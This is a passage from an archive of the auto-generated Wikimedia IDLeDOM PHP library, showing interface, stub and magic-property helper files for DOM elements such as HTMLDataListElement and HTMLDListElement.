 * @property string $inputMode
 * @property EventHandlerNonNull|callable|null $onload
 * @property DOMStringMap $dataset
 * @property string $nonce
 * @property int $tabIndex
 * @property string $title
 * @property string $lang
 * @property bool $translate
 * @property string $dir
 * @property bool $hidden
 * @property string $accessKey
 * @property string $accessKeyLabel
 * @property bool $draggable
 * @property bool $spellcheck
 * @property string $autocapitalize
 * @property string $innerText
 * @property Element|null $offsetParent
 * @property int $offsetTop
 * @property int $offsetLeft
 * @property int $offsetWidth
 * @property int $offsetHeight
 * @property HTMLCollection $options
 * @phan-forbid-undeclared-magic-properties
 */
interface HTMLDataListElement extends HTMLElement {
	// Direct parent: HTMLElement

	/**
	 * @return HTMLCollection
	 */
	public function getOptions();

}
DOMParserSupportedType.php000066600000002436151335077250011642 0ustar00<?php

// AUTOMATICALLY GENERATED.  DO NOT EDIT.
// Use `composer build` to regenerate.

namespace Wikimedia\IDLeDOM;

/**
 * DOMParserSupportedType
 *
 * @see https://dom.spec.whatwg.org/#enumdef-domparsersupportedtype
 *
 * @phan-forbid-undeclared-magic-properties
 */
final class DOMParserSupportedType {
	/* Enumeration values */
	public const text_html = 'text/html';
	public const text_xml = 'text/xml';
	public const application_xml = 'application/xml';
	public const application_xhtml_xml = 'application/xhtml+xml';
	public const image_svg_xml = 'image/svg+xml';

	private function __construct() {
		/* Enumerations can't be instantiated */
	}

	// @phan-file-suppress PhanTypeInvalidThrowsIsInterface

	/**
	 * Throw a TypeError if the provided string is not a
	 * valid member of this enumeration.
	 *
	 * @param string $value The string to test
	 * @return string The provided string, if it is valid
	 * @throws \Wikimedia\IDLeDOM\TypeError if it is not valid
	 */
	public static function cast( string $value ): string {
		switch ( $value ) {
			case 'text/html':
			case 'text/xml':
			case 'application/xml':
			case 'application/xhtml+xml':
			case 'image/svg+xml':
				return $value;
			default:
				throw new class() extends \Exception implements \Wikimedia\IDLeDOM\TypeError {
				};
		}
	}
}
Stub/AddEventListenerOptions.php000066600000001475151335077250012771 0ustar00<?php

// AUTOMATICALLY GENERATED.  DO NOT EDIT.
// Use `composer build` to regenerate.

namespace Wikimedia\IDLeDOM\Stub;

use Exception;
use Wikimedia\IDLeDOM\AbortSignal;

trait AddEventListenerOptions {

	// Underscore is used to avoid conflicts with DOM-reserved names
	// phpcs:disable PSR2.Methods.MethodDeclaration.Underscore
	// phpcs:disable MediaWiki.NamingConventions.LowerCamelFunctionsName.FunctionName

	/**
	 * @return Exception
	 */
	abstract protected function _unimplemented(): Exception;

	// phpcs:enable

	/**
	 * @return bool
	 */
	public function getPassive(): bool {
		throw self::_unimplemented();
	}

	/**
	 * @return bool
	 */
	public function getOnce(): bool {
		throw self::_unimplemented();
	}

	/**
	 * @return AbortSignal
	 */
	public function getSignal() {
		throw self::_unimplemented();
	}

}
Stub/HTMLUListElement.php000066600000000747151335077250011255 0ustar00<?php

// AUTOMATICALLY GENERATED.  DO NOT EDIT.
// Use `composer build` to regenerate.

namespace Wikimedia\IDLeDOM\Stub;

use Exception;

trait HTMLUListElement {

	// Underscore is used to avoid conflicts with DOM-reserved names
	// phpcs:disable PSR2.Methods.MethodDeclaration.Underscore
	// phpcs:disable MediaWiki.NamingConventions.LowerCamelFunctionsName.FunctionName

	/**
	 * @return Exception
	 */
	abstract protected function _unimplemented(): Exception;

	// phpcs:enable

}
Stub/TypeError.php000066600000000740151335077250010142 0ustar00<?php

// AUTOMATICALLY GENERATED.  DO NOT EDIT.
// Use `composer build` to regenerate.

namespace Wikimedia\IDLeDOM\Stub;

use Exception;

trait TypeError {

	// Underscore is used to avoid conflicts with DOM-reserved names
	// phpcs:disable PSR2.Methods.MethodDeclaration.Underscore
	// phpcs:disable MediaWiki.NamingConventions.LowerCamelFunctionsName.FunctionName

	/**
	 * @return Exception
	 */
	abstract protected function _unimplemented(): Exception;

	// phpcs:enable

}
Stub/DocumentType.php000066600000001510151335077250010623 0ustar00<?php

// AUTOMATICALLY GENERATED.  DO NOT EDIT.
// Use `composer build` to regenerate.

namespace Wikimedia\IDLeDOM\Stub;

use Exception;

trait DocumentType {
	// use \Wikimedia\IDLeDOM\Stub\ChildNode;

	// Underscore is used to avoid conflicts with DOM-reserved names
	// phpcs:disable PSR2.Methods.MethodDeclaration.Underscore
	// phpcs:disable MediaWiki.NamingConventions.LowerCamelFunctionsName.FunctionName

	/**
	 * @return Exception
	 */
	abstract protected function _unimplemented(): Exception;

	// phpcs:enable

	/**
	 * @return string
	 */
	public function getName(): string {
		throw self::_unimplemented();
	}

	/**
	 * @return string
	 */
	public function getPublicId(): string {
		throw self::_unimplemented();
	}

	/**
	 * @return string
	 */
	public function getSystemId(): string {
		throw self::_unimplemented();
	}

}
Stub/NonDocumentTypeChildNode.php000066600000001366151335077250013061 0ustar00<?php

// AUTOMATICALLY GENERATED.  DO NOT EDIT.
// Use `composer build` to regenerate.

namespace Wikimedia\IDLeDOM\Stub;

use Exception;
use Wikimedia\IDLeDOM\Element;

trait NonDocumentTypeChildNode {

	// Underscore is used to avoid conflicts with DOM-reserved names
	// phpcs:disable PSR2.Methods.MethodDeclaration.Underscore
	// phpcs:disable MediaWiki.NamingConventions.LowerCamelFunctionsName.FunctionName

	/**
	 * @return Exception
	 */
	abstract protected function _unimplemented(): Exception;

	// phpcs:enable

	/**
	 * @return Element|null
	 */
	public function getPreviousElementSibling() {
		throw self::_unimplemented();
	}

	/**
	 * @return Element|null
	 */
	public function getNextElementSibling() {
		throw self::_unimplemented();
	}

}
Stub/HTMLDataListElement.php000066600000001171151335077250011712 0ustar00<?php

// AUTOMATICALLY GENERATED.  DO NOT EDIT.
// Use `composer build` to regenerate.

namespace Wikimedia\IDLeDOM\Stub;

use Exception;
use Wikimedia\IDLeDOM\HTMLCollection;

trait HTMLDataListElement {

	// Underscore is used to avoid conflicts with DOM-reserved names
	// phpcs:disable PSR2.Methods.MethodDeclaration.Underscore
	// phpcs:disable MediaWiki.NamingConventions.LowerCamelFunctionsName.FunctionName

	/**
	 * @return Exception
	 */
	abstract protected function _unimplemented(): Exception;

	// phpcs:enable

	/**
	 * @return HTMLCollection
	 */
	public function getOptions() {
		throw self::_unimplemented();
	}

}
Stub/NodeFilter.php000066600000001210151335077250010233 0ustar00<?php

// AUTOMATICALLY GENERATED.  DO NOT EDIT.
// Use `composer build` to regenerate.

namespace Wikimedia\IDLeDOM\Stub;

use Exception;
use Wikimedia\IDLeDOM\Node;

trait NodeFilter {

	// Underscore is used to avoid conflicts with DOM-reserved names
	// phpcs:disable PSR2.Methods.MethodDeclaration.Underscore
	// phpcs:disable MediaWiki.NamingConventions.LowerCamelFunctionsName.FunctionName

	/**
	 * @return Exception
	 */
	abstract protected function _unimplemented(): Exception;

	// phpcs:enable

	/**
	 * @param Node $node
	 * @return int
	 */
	public function acceptNode( /* Node */ $node ): int {
		throw self::_unimplemented();
	}

}
Stub/HTMLOListElement.php000066600000001270151335077250011237 0ustar00<?php

// AUTOMATICALLY GENERATED.  DO NOT EDIT.
// Use `composer build` to regenerate.

namespace Wikimedia\IDLeDOM\Stub;

use Exception;

trait HTMLOListElement {

	// Underscore is used to avoid conflicts with DOM-reserved names
	// phpcs:disable PSR2.Methods.MethodDeclaration.Underscore
	// phpcs:disable MediaWiki.NamingConventions.LowerCamelFunctionsName.FunctionName

	/**
	 * @return Exception
	 */
	abstract protected function _unimplemented(): Exception;

	// phpcs:enable

	/**
	 * @return int
	 */
	public function getStart(): int {
		throw self::_unimplemented();
	}

	/**
	 * @param int $val
	 */
	public function setStart( int $val ): void {
		throw self::_unimplemented();
	}

}
Stub/EventListener.php000066600000001223151335077250010773 0ustar00<?php

// AUTOMATICALLY GENERATED.  DO NOT EDIT.
// Use `composer build` to regenerate.

namespace Wikimedia\IDLeDOM\Stub;

use Exception;
use Wikimedia\IDLeDOM\Event;

trait EventListener {

	// Underscore is used to avoid conflicts with DOM-reserved names
	// phpcs:disable PSR2.Methods.MethodDeclaration.Underscore
	// phpcs:disable MediaWiki.NamingConventions.LowerCamelFunctionsName.FunctionName

	/**
	 * @return Exception
	 */
	abstract protected function _unimplemented(): Exception;

	// phpcs:enable

	/**
	 * @param Event $event
	 * @return void
	 */
	public function handleEvent( /* Event */ $event ): void {
		throw self::_unimplemented();
	}

}
Stub/HTMLDListElement.php000066600000000747151335077250011234 0ustar00<?php

// AUTOMATICALLY GENERATED.  DO NOT EDIT.
// Use `composer build` to regenerate.

namespace Wikimedia\IDLeDOM\Stub;

use Exception;

trait HTMLDListElement {

	// Underscore is used to avoid conflicts with DOM-reserved names
	// phpcs:disable PSR2.Methods.MethodDeclaration.Underscore
	// phpcs:disable MediaWiki.NamingConventions.LowerCamelFunctionsName.FunctionName

	/**
	 * @return Exception
	 */
	abstract protected function _unimplemented(): Exception;

	// phpcs:enable

}
Stub/EventListenerOptions.php000066600000001120151335077250012343 0ustar00<?php

// AUTOMATICALLY GENERATED.  DO NOT EDIT.
// Use `composer build` to regenerate.

namespace Wikimedia\IDLeDOM\Stub;

use Exception;

trait EventListenerOptions {

	// Underscore is used to avoid conflicts with DOM-reserved names
	// phpcs:disable PSR2.Methods.MethodDeclaration.Underscore
	// phpcs:disable MediaWiki.NamingConventions.LowerCamelFunctionsName.FunctionName

	/**
	 * @return Exception
	 */
	abstract protected function _unimplemented(): Exception;

	// phpcs:enable

	/**
	 * @return bool
	 */
	public function getCapture(): bool {
		throw self::_unimplemented();
	}

}
HTMLDListElement.php000066600000004675151335077250010323 0ustar00<?php

// AUTOMATICALLY GENERATED.  DO NOT EDIT.
// Use `composer build` to regenerate.

namespace Wikimedia\IDLeDOM;

/**
 * HTMLDListElement
 *
 * @see https://dom.spec.whatwg.org/#interface-htmldlistelement
 *
 * @property int $nodeType
 * @property string $nodeName
 * @property string $baseURI
 * @property bool $isConnected
 * @property Document|null $ownerDocument
 * @property Node|null $parentNode
 * @property Element|null $parentElement
 * @property NodeList $childNodes
 * @property Node|null $firstChild
 * @property Node|null $lastChild
 * @property Node|null $previousSibling
 * @property Node|null $nextSibling
 * @property ?string $nodeValue
 * @property ?string $textContent
 * @property string $innerHTML
 * @property Element|null $previousElementSibling
 * @property Element|null $nextElementSibling
 * @property HTMLCollection $children
 * @property Element|null $firstElementChild
 * @property Element|null $lastElementChild
 * @property int $childElementCount
 * @property HTMLSlotElement|null $assignedSlot
 * @property ?string $namespaceURI
 * @property ?string $prefix
 * @property string $localName
 * @property string $tagName
 * @property string $id
 * @property string $className
 * @property DOMTokenList $classList
 * @property string $slot
 * @property NamedNodeMap $attributes
 * @property ShadowRoot|null $shadowRoot
 * @property string $outerHTML
 * @property CSSStyleDeclaration $style
 * @property string $contentEditable
 * @property string $enterKeyHint
 * @property bool $isContentEditable
 * @property string $inputMode
 * @property EventHandlerNonNull|callable|null $onload
 * @property DOMStringMap $dataset
 * @property string $nonce
 * @property int $tabIndex
 * @property string $title
 * @property string $lang
 * @property bool $translate
 * @property string $dir
 * @property bool $hidden
 * @property string $accessKey
 * @property string $accessKeyLabel
 * @property bool $draggable
 * @property bool $spellcheck
 * @property string $autocapitalize
 * @property string $innerText
 * @property Element|null $offsetParent
 * @property int $offsetTop
 * @property int $offsetLeft
 * @property int $offsetWidth
 * @property int $offsetHeight
 * @property bool $compact
 * @phan-forbid-undeclared-magic-properties
 */
interface HTMLDListElement extends HTMLElement {
	// Direct parent: HTMLElement

	/**
	 * @return bool
	 */
	public function getCompact(): bool;

	/**
	 * @param bool $val
	 */
	public function setCompact( bool $val ): void;

}
Helper/HTMLDataListElement.php000066600000031107151335077250012216 0ustar00<?php

// AUTOMATICALLY GENERATED.  DO NOT EDIT.
// Use `composer build` to regenerate.

namespace Wikimedia\IDLeDOM\Helper;

trait HTMLDataListElement {

	// Underscore is used to avoid conflicts with DOM-reserved names
	// phpcs:disable PSR2.Methods.MethodDeclaration.Underscore
	// phpcs:disable MediaWiki.NamingConventions.LowerCamelFunctionsName.FunctionName

	/**
	 * Handle an attempt to get a non-existing property on this
	 * object.  The default implementation raises an exception
	 * but the implementor can choose a different behavior:
	 * return null (like JavaScript), dynamically create the
	 * property, etc.
	 * @param string $prop the name of the property requested
	 * @return mixed
	 */
	abstract protected function _getMissingProp( string $prop );

	/**
	 * Handle an attempt to set a non-existing property on this
	 * object.  The default implementation raises an exception
	 * but the implementor can choose a different behavior:
	 * ignore the operation (like JavaScript), dynamically create
	 * the property, etc.
	 * @param string $prop the name of the property requested
	 * @param mixed $value the value to set
	 */
	abstract protected function _setMissingProp( string $prop, $value ): void;

	// phpcs:enable

	/**
	 * @param string $name
	 * @return mixed
	 */
	public function __get( string $name ) {
		'@phan-var \Wikimedia\IDLeDOM\HTMLDataListElement $this';
		// @var \Wikimedia\IDLeDOM\HTMLDataListElement $this
		switch ( $name ) {
			case "nodeType":
				return $this->getNodeType();
			case "nodeName":
				return $this->getNodeName();
			case "baseURI":
				return $this->getBaseURI();
			case "isConnected":
				return $this->getIsConnected();
			case "ownerDocument":
				return $this->getOwnerDocument();
			case "parentNode":
				return $this->getParentNode();
			case "parentElement":
				return $this->getParentElement();
			case "childNodes":
				return $this->getChildNodes();
			case "firstChild":
				return $this->getFirstChild();
			case "lastChild":
				return $this->getLastChild();
			case "previousSibling":
				return $this->getPreviousSibling();
			case "nextSibling":
				return $this->getNextSibling();
			case "nodeValue":
				return $this->getNodeValue();
			case "textContent":
				return $this->getTextContent();
			case "innerHTML":
				return $this->getInnerHTML();
			case "previousElementSibling":
				return $this->getPreviousElementSibling();
			case "nextElementSibling":
				return $this->getNextElementSibling();
			case "children":
				return $this->getChildren();
			case "firstElementChild":
				return $this->getFirstElementChild();
			case "lastElementChild":
				return $this->getLastElementChild();
			case "childElementCount":
				return $this->getChildElementCount();
			case "assignedSlot":
				return $this->getAssignedSlot();
			case "namespaceURI":
				return $this->getNamespaceURI();
			case "prefix":
				return $this->getPrefix();
			case "localName":
				return $this->getLocalName();
			case "tagName":
				return $this->getTagName();
			case "id":
				return $this->getId();
			case "className":
				return $this->getClassName();
			case "classList":
				return $this->getClassList();
			case "slot":
				return $this->getSlot();
			case "attributes":
				return $this->getAttributes();
			case "shadowRoot":
				return $this->getShadowRoot();
			case "outerHTML":
				return $this->getOuterHTML();
			case "style":
				return $this->getStyle();
			case "contentEditable":
				return $this->getContentEditable();
			case "enterKeyHint":
				return $this->getEnterKeyHint();
			case "isContentEditable":
				return $this->getIsContentEditable();
			case "inputMode":
				return $this->getInputMode();
			case "onload":
				return $this->getOnload();
			case "dataset":
				return $this->getDataset();
			case "nonce":
				return $this->getNonce();
			case "tabIndex":
				return $this->getTabIndex();
			case "title":
				return $this->getTitle();
			case "lang":
				return $this->getLang();
			case "translate":
				return $this->getTranslate();
			case "dir":
				return $this->getDir();
			case "hidden":
				return $this->getHidden();
			case "accessKey":
				return $this->getAccessKey();
			case "accessKeyLabel":
				return $this->getAccessKeyLabel();
			case "draggable":
				return $this->getDraggable();
			case "spellcheck":
				return $this->getSpellcheck();
			case "autocapitalize":
				return $this->getAutocapitalize();
			case "innerText":
				return $this->getInnerText();
			case "offsetParent":
				return $this->getOffsetParent();
			case "offsetTop":
				return $this->getOffsetTop();
			case "offsetLeft":
				return $this->getOffsetLeft();
			case "offsetWidth":
				return $this->getOffsetWidth();
			case "offsetHeight":
				return $this->getOffsetHeight();
			case "options":
				return $this->getOptions();
			default:
				break;
		}
		'@phan-var \Wikimedia\IDLeDOM\Helper\HTMLDataListElement $this';
		// @var \Wikimedia\IDLeDOM\Helper\HTMLDataListElement $this
		return $this->_getMissingProp( $name );
	}

	/**
	 * @param string $name
	 * @return bool
	 */
	public function __isset( string $name ): bool {
		'@phan-var \Wikimedia\IDLeDOM\HTMLDataListElement $this';
		// @var \Wikimedia\IDLeDOM\HTMLDataListElement $this
		switch ( $name ) {
			case "nodeType":
				return true;
			case "nodeName":
				return true;
			case "baseURI":
				return true;
			case "isConnected":
				return true;
			case "ownerDocument":
				return $this->getOwnerDocument() !== null;
			case "parentNode":
				return $this->getParentNode() !== null;
			case "parentElement":
				return $this->getParentElement() !== null;
			case "childNodes":
				return true;
			case "firstChild":
				return $this->getFirstChild() !== null;
			case "lastChild":
				return $this->getLastChild() !== null;
			case "previousSibling":
				return $this->getPreviousSibling() !== null;
			case "nextSibling":
				return $this->getNextSibling() !== null;
			case "nodeValue":
				return $this->getNodeValue() !== null;
			case "textContent":
				return $this->getTextContent() !== null;
			case "innerHTML":
				return true;
			case "previousElementSibling":
				return $this->getPreviousElementSibling() !== null;
			case "nextElementSibling":
				return $this->getNextElementSibling() !== null;
			case "children":
				return true;
			case "firstElementChild":
				return $this->getFirstElementChild() !== null;
			case "lastElementChild":
				return $this->getLastElementChild() !== null;
			case "childElementCount":
				return true;
			case "assignedSlot":
				return $this->getAssignedSlot() !== null;
			case "namespaceURI":
				return $this->getNamespaceURI() !== null;
			case "prefix":
				return $this->getPrefix() !== null;
			case "localName":
				return true;
			case "tagName":
				return true;
			case "id":
				return true;
			case "className":
				return true;
			case "classList":
				return true;
			case "slot":
				return true;
			case "attributes":
				return true;
			case "shadowRoot":
				return $this->getShadowRoot() !== null;
			case "outerHTML":
				return true;
			case "style":
				return true;
			case "contentEditable":
				return true;
			case "enterKeyHint":
				return true;
			case "isContentEditable":
				return true;
			case "inputMode":
				return true;
			case "onload":
				return true;
			case "dataset":
				return true;
			case "nonce":
				return true;
			case "tabIndex":
				return true;
			case "title":
				return true;
			case "lang":
				return true;
			case "translate":
				return true;
			case "dir":
				return true;
			case "hidden":
				return true;
			case "accessKey":
				return true;
			case "accessKeyLabel":
				return true;
			case "draggable":
				return true;
			case "spellcheck":
				return true;
			case "autocapitalize":
				return true;
			case "innerText":
				return true;
			case "offsetParent":
				return $this->getOffsetParent() !== null;
			case "offsetTop":
				return true;
			case "offsetLeft":
				return true;
			case "offsetWidth":
				return true;
			case "offsetHeight":
				return true;
			case "options":
				return true;
			default:
				break;
		}
		return false;
	}

	/**
	 * @param string $name
	 * @param mixed $value
	 */
	public function __set( string $name, $value ): void {
		'@phan-var \Wikimedia\IDLeDOM\HTMLDataListElement $this';
		// @var \Wikimedia\IDLeDOM\HTMLDataListElement $this
		switch ( $name ) {
			case "nodeValue":
				$this->setNodeValue( $value );
				return;
			case "textContent":
				$this->setTextContent( $value );
				return;
			case "innerHTML":
				$this->setInnerHTML( $value );
				return;
			case "id":
				$this->setId( $value );
				return;
			case "className":
				$this->setClassName( $value );
				return;
			case "classList":
				$this->setClassList( $value );
				return;
			case "slot":
				$this->setSlot( $value );
				return;
			case "outerHTML":
				$this->setOuterHTML( $value );
				return;
			case "style":
				$this->setStyle( $value );
				return;
			case "contentEditable":
				$this->setContentEditable( $value );
				return;
			case "enterKeyHint":
				$this->setEnterKeyHint( $value );
				return;
			case "inputMode":
				$this->setInputMode( $value );
				return;
			case "onload":
				$this->setOnload( $value );
				return;
			case "nonce":
				$this->setNonce( $value );
				return;
			case "tabIndex":
				$this->setTabIndex( $value );
				return;
			case "title":
				$this->setTitle( $value );
				return;
			case "lang":
				$this->setLang( $value );
				return;
			case "translate":
				$this->setTranslate( $value );
				return;
			case "dir":
				$this->setDir( $value );
				return;
			case "hidden":
				$this->setHidden( $value );
				return;
			case "accessKey":
				$this->setAccessKey( $value );
				return;
			case "draggable":
				$this->setDraggable( $value );
				return;
			case "spellcheck":
				$this->setSpellcheck( $value );
				return;
			case "autocapitalize":
				$this->setAutocapitalize( $value );
				return;
			case "innerText":
				$this->setInnerText( $value );
				return;
			default:
				break;
		}
		'@phan-var \Wikimedia\IDLeDOM\Helper\HTMLDataListElement $this';
		// @var \Wikimedia\IDLeDOM\Helper\HTMLDataListElement $this
		$this->_setMissingProp( $name, $value );
	}

	/**
	 * @param string $name
	 */
	public function __unset( string $name ): void {
		'@phan-var \Wikimedia\IDLeDOM\HTMLDataListElement $this';
		// @var \Wikimedia\IDLeDOM\HTMLDataListElement $this
		switch ( $name ) {
			case "nodeType":
				break;
			case "nodeName":
				break;
			case "baseURI":
				break;
			case "isConnected":
				break;
			case "ownerDocument":
				break;
			case "parentNode":
				break;
			case "parentElement":
				break;
			case "childNodes":
				break;
			case "firstChild":
				break;
			case "lastChild":
				break;
			case "previousSibling":
				break;
			case "nextSibling":
				break;
			case "nodeValue":
				$this->setNodeValue( null );
				return;
			case "textContent":
				$this->setTextContent( null );
				return;
			case "innerHTML":
				break;
			case "previousElementSibling":
				break;
			case "nextElementSibling":
				break;
			case "children":
				break;
			case "firstElementChild":
				break;
			case "lastElementChild":
				break;
			case "childElementCount":
				break;
			case "assignedSlot":
				break;
			case "namespaceURI":
				break;
			case "prefix":
				break;
			case "localName":
				break;
			case "tagName":
				break;
			case "id":
				break;
			case "className":
				break;
			case "classList":
				break;
			case "slot":
				break;
			case "attributes":
				break;
			case "shadowRoot":
				break;
			case "outerHTML":
				break;
			case "style":
				break;
			case "contentEditable":
				break;
			case "enterKeyHint":
				break;
			case "isContentEditable":
				break;
			case "inputMode":
				break;
			case "onload":
				break;
			case "dataset":
				break;
			case "nonce":
				break;
			case "tabIndex":
				break;
			case "title":
				break;
			case "lang":
				break;
			case "translate":
				break;
			case "dir":
				break;
			case "hidden":
				break;
			case "accessKey":
				break;
			case "accessKeyLabel":
				break;
			case "draggable":
				break;
			case "spellcheck":
				break;
			case "autocapitalize":
				break;
			case "innerText":
				break;
			case "offsetParent":
				break;
			case "offsetTop":
				break;
			case "offsetLeft":
				break;
			case "offsetWidth":
				break;
			case "offsetHeight":
				break;
			case "options":
				break;
			default:
				return;
		}
		$trace = debug_backtrace();
		while (
			count( $trace ) > 0 &&
			$trace[0]['function'] !== "__unset"
		) {
			array_shift( $trace );
		}
		trigger_error(
			'Undefined property' .
			' via ' . ( $trace[0]['function'] ?? '' ) . '(): ' . $name .
			' in ' . ( $trace[0]['file'] ?? '' ) .
			' on line ' . ( $trace[0]['line'] ?? '' ),
			E_USER_NOTICE
		);
	}

}
Helper/HTMLDListElement.php000066600000032112151335077250011525 0ustar00<?php

// AUTOMATICALLY GENERATED.  DO NOT EDIT.
// Use `composer build` to regenerate.

namespace Wikimedia\IDLeDOM\Helper;

trait HTMLDListElement {

	// Underscore is used to avoid conflicts with DOM-reserved names
	// phpcs:disable PSR2.Methods.MethodDeclaration.Underscore
	// phpcs:disable MediaWiki.NamingConventions.LowerCamelFunctionsName.FunctionName

	/**
	 * Handle an attempt to get a non-existing property on this
	 * object.  The default implementation raises an exception
	 * but the implementor can choose a different behavior:
	 * return null (like JavaScript), dynamically create the
	 * property, etc.
	 * @param string $prop the name of the property requested
	 * @return mixed
	 */
	abstract protected function _getMissingProp( string $prop );

	/**
	 * Handle an attempt to set a non-existing property on this
	 * object.  The default implementation raises an exception
	 * but the implementor can choose a different behavior:
	 * ignore the operation (like JavaScript), dynamically create
	 * the property, etc.
	 * @param string $prop the name of the property requested
	 * @param mixed $value the value to set
	 */
	abstract protected function _setMissingProp( string $prop, $value ): void;

	// phpcs:enable

	/**
	 * @param string $name
	 * @return mixed
	 */
	public function __get( string $name ) {
		'@phan-var \Wikimedia\IDLeDOM\HTMLDListElement $this';
		// @var \Wikimedia\IDLeDOM\HTMLDListElement $this
		switch ( $name ) {
			case "nodeType":
				return $this->getNodeType();
			case "nodeName":
				return $this->getNodeName();
			case "baseURI":
				return $this->getBaseURI();
			case "isConnected":
				return $this->getIsConnected();
			case "ownerDocument":
				return $this->getOwnerDocument();
			case "parentNode":
				return $this->getParentNode();
			case "parentElement":
				return $this->getParentElement();
			case "childNodes":
				return $this->getChildNodes();
			case "firstChild":
				return $this->getFirstChild();
			case "lastChild":
				return $this->getLastChild();
			case "previousSibling":
				return $this->getPreviousSibling();
			case "nextSibling":
				return $this->getNextSibling();
			case "nodeValue":
				return $this->getNodeValue();
			case "textContent":
				return $this->getTextContent();
			case "innerHTML":
				return $this->getInnerHTML();
			case "previousElementSibling":
				return $this->getPreviousElementSibling();
			case "nextElementSibling":
				return $this->getNextElementSibling();
			case "children":
				return $this->getChildren();
			case "firstElementChild":
				return $this->getFirstElementChild();
			case "lastElementChild":
				return $this->getLastElementChild();
			case "childElementCount":
				return $this->getChildElementCount();
			case "assignedSlot":
				return $this->getAssignedSlot();
			case "namespaceURI":
				return $this->getNamespaceURI();
			case "prefix":
				return $this->getPrefix();
			case "localName":
				return $this->getLocalName();
			case "tagName":
				return $this->getTagName();
			case "id":
				return $this->getId();
			case "className":
				return $this->getClassName();
			case "classList":
				return $this->getClassList();
			case "slot":
				return $this->getSlot();
			case "attributes":
				return $this->getAttributes();
			case "shadowRoot":
				return $this->getShadowRoot();
			case "outerHTML":
				return $this->getOuterHTML();
			case "style":
				return $this->getStyle();
			case "contentEditable":
				return $this->getContentEditable();
			case "enterKeyHint":
				return $this->getEnterKeyHint();
			case "isContentEditable":
				return $this->getIsContentEditable();
			case "inputMode":
				return $this->getInputMode();
			case "onload":
				return $this->getOnload();
			case "dataset":
				return $this->getDataset();
			case "nonce":
				return $this->getNonce();
			case "tabIndex":
				return $this->getTabIndex();
			case "title":
				return $this->getTitle();
			case "lang":
				return $this->getLang();
			case "translate":
				return $this->getTranslate();
			case "dir":
				return $this->getDir();
			case "hidden":
				return $this->getHidden();
			case "accessKey":
				return $this->getAccessKey();
			case "accessKeyLabel":
				return $this->getAccessKeyLabel();
			case "draggable":
				return $this->getDraggable();
			case "spellcheck":
				return $this->getSpellcheck();
			case "autocapitalize":
				return $this->getAutocapitalize();
			case "innerText":
				return $this->getInnerText();
			case "offsetParent":
				return $this->getOffsetParent();
			case "offsetTop":
				return $this->getOffsetTop();
			case "offsetLeft":
				return $this->getOffsetLeft();
			case "offsetWidth":
				return $this->getOffsetWidth();
			case "offsetHeight":
				return $this->getOffsetHeight();
			case "compact":
				return $this->getCompact();
			default:
				break;
		}
		'@phan-var \Wikimedia\IDLeDOM\Helper\HTMLDListElement $this';
		// @var \Wikimedia\IDLeDOM\Helper\HTMLDListElement $this
		return $this->_getMissingProp( $name );
	}

	/**
	 * @param string $name
	 * @return bool
	 */
	public function __isset( string $name ): bool {
		'@phan-var \Wikimedia\IDLeDOM\HTMLDListElement $this';
		// @var \Wikimedia\IDLeDOM\HTMLDListElement $this
		switch ( $name ) {
			case "nodeType":
				return true;
			case "nodeName":
				return true;
			case "baseURI":
				return true;
			case "isConnected":
				return true;
			case "ownerDocument":
				return $this->getOwnerDocument() !== null;
			case "parentNode":
				return $this->getParentNode() !== null;
			case "parentElement":
				return $this->getParentElement() !== null;
			case "childNodes":
				return true;
			case "firstChild":
				return $this->getFirstChild() !== null;
			case "lastChild":
				return $this->getLastChild() !== null;
			case "previousSibling":
				return $this->getPreviousSibling() !== null;
			case "nextSibling":
				return $this->getNextSibling() !== null;
			case "nodeValue":
				return $this->getNodeValue() !== null;
			case "textContent":
				return $this->getTextContent() !== null;
			case "innerHTML":
				return true;
			case "previousElementSibling":
				return $this->getPreviousElementSibling() !== null;
			case "nextElementSibling":
				return $this->getNextElementSibling() !== null;
			case "children":
				return true;
			case "firstElementChild":
				return $this->getFirstElementChild() !== null;
			case "lastElementChild":
				return $this->getLastElementChild() !== null;
			case "childElementCount":
				return true;
			case "assignedSlot":
				return $this->getAssignedSlot() !== null;
			case "namespaceURI":
				return $this->getNamespaceURI() !== null;
			case "prefix":
				return $this->getPrefix() !== null;
			case "localName":
				return true;
			case "tagName":
				return true;
			case "id":
				return true;
			case "className":
				return true;
			case "classList":
				return true;
			case "slot":
				return true;
			case "attributes":
				return true;
			case "shadowRoot":
				return $this->getShadowRoot() !== null;
			case "outerHTML":
				return true;
			case "style":
				return true;
			case "contentEditable":
				return true;
			case "enterKeyHint":
				return true;
			case "isContentEditable":
				return true;
			case "inputMode":
				return true;
			case "onload":
				return true;
			case "dataset":
				return true;
			case "nonce":
				return true;
			case "tabIndex":
				return true;
			case "title":
				return true;
			case "lang":
				return true;
			case "translate":
				return true;
			case "dir":
				return true;
			case "hidden":
				return true;
			case "accessKey":
				return true;
			case "accessKeyLabel":
				return true;
			case "draggable":
				return true;
			case "spellcheck":
				return true;
			case "autocapitalize":
				return true;
			case "innerText":
				return true;
			case "offsetParent":
				return $this->getOffsetParent() !== null;
			case "offsetTop":
				return true;
			case "offsetLeft":
				return true;
			case "offsetWidth":
				return true;
			case "offsetHeight":
				return true;
			case "compact":
				return true;
			default:
				break;
		}
		return false;
	}

	/**
	 * @param string $name
	 * @param mixed $value
	 */
	public function __set( string $name, $value ): void {
		'@phan-var \Wikimedia\IDLeDOM\HTMLDListElement $this';
		// @var \Wikimedia\IDLeDOM\HTMLDListElement $this
		switch ( $name ) {
			case "nodeValue":
				$this->setNodeValue( $value );
				return;
			case "textContent":
				$this->setTextContent( $value );
				return;
			case "innerHTML":
				$this->setInnerHTML( $value );
				return;
			case "id":
				$this->setId( $value );
				return;
			case "className":
				$this->setClassName( $value );
				return;
			case "classList":
				$this->setClassList( $value );
				return;
			case "slot":
				$this->setSlot( $value );
				return;
			case "outerHTML":
				$this->setOuterHTML( $value );
				return;
			case "style":
				$this->setStyle( $value );
				return;
			case "contentEditable":
				$this->setContentEditable( $value );
				return;
			case "enterKeyHint":
				$this->setEnterKeyHint( $value );
				return;
			case "inputMode":
				$this->setInputMode( $value );
				return;
			case "onload":
				$this->setOnload( $value );
				return;
			case "nonce":
				$this->setNonce( $value );
				return;
			case "tabIndex":
				$this->setTabIndex( $value );
				return;
			case "title":
				$this->setTitle( $value );
				return;
			case "lang":
				$this->setLang( $value );
				return;
			case "translate":
				$this->setTranslate( $value );
				return;
			case "dir":
				$this->setDir( $value );
				return;
			case "hidden":
				$this->setHidden( $value );
				return;
			case "accessKey":
				$this->setAccessKey( $value );
				return;
			case "draggable":
				$this->setDraggable( $value );
				return;
			case "spellcheck":
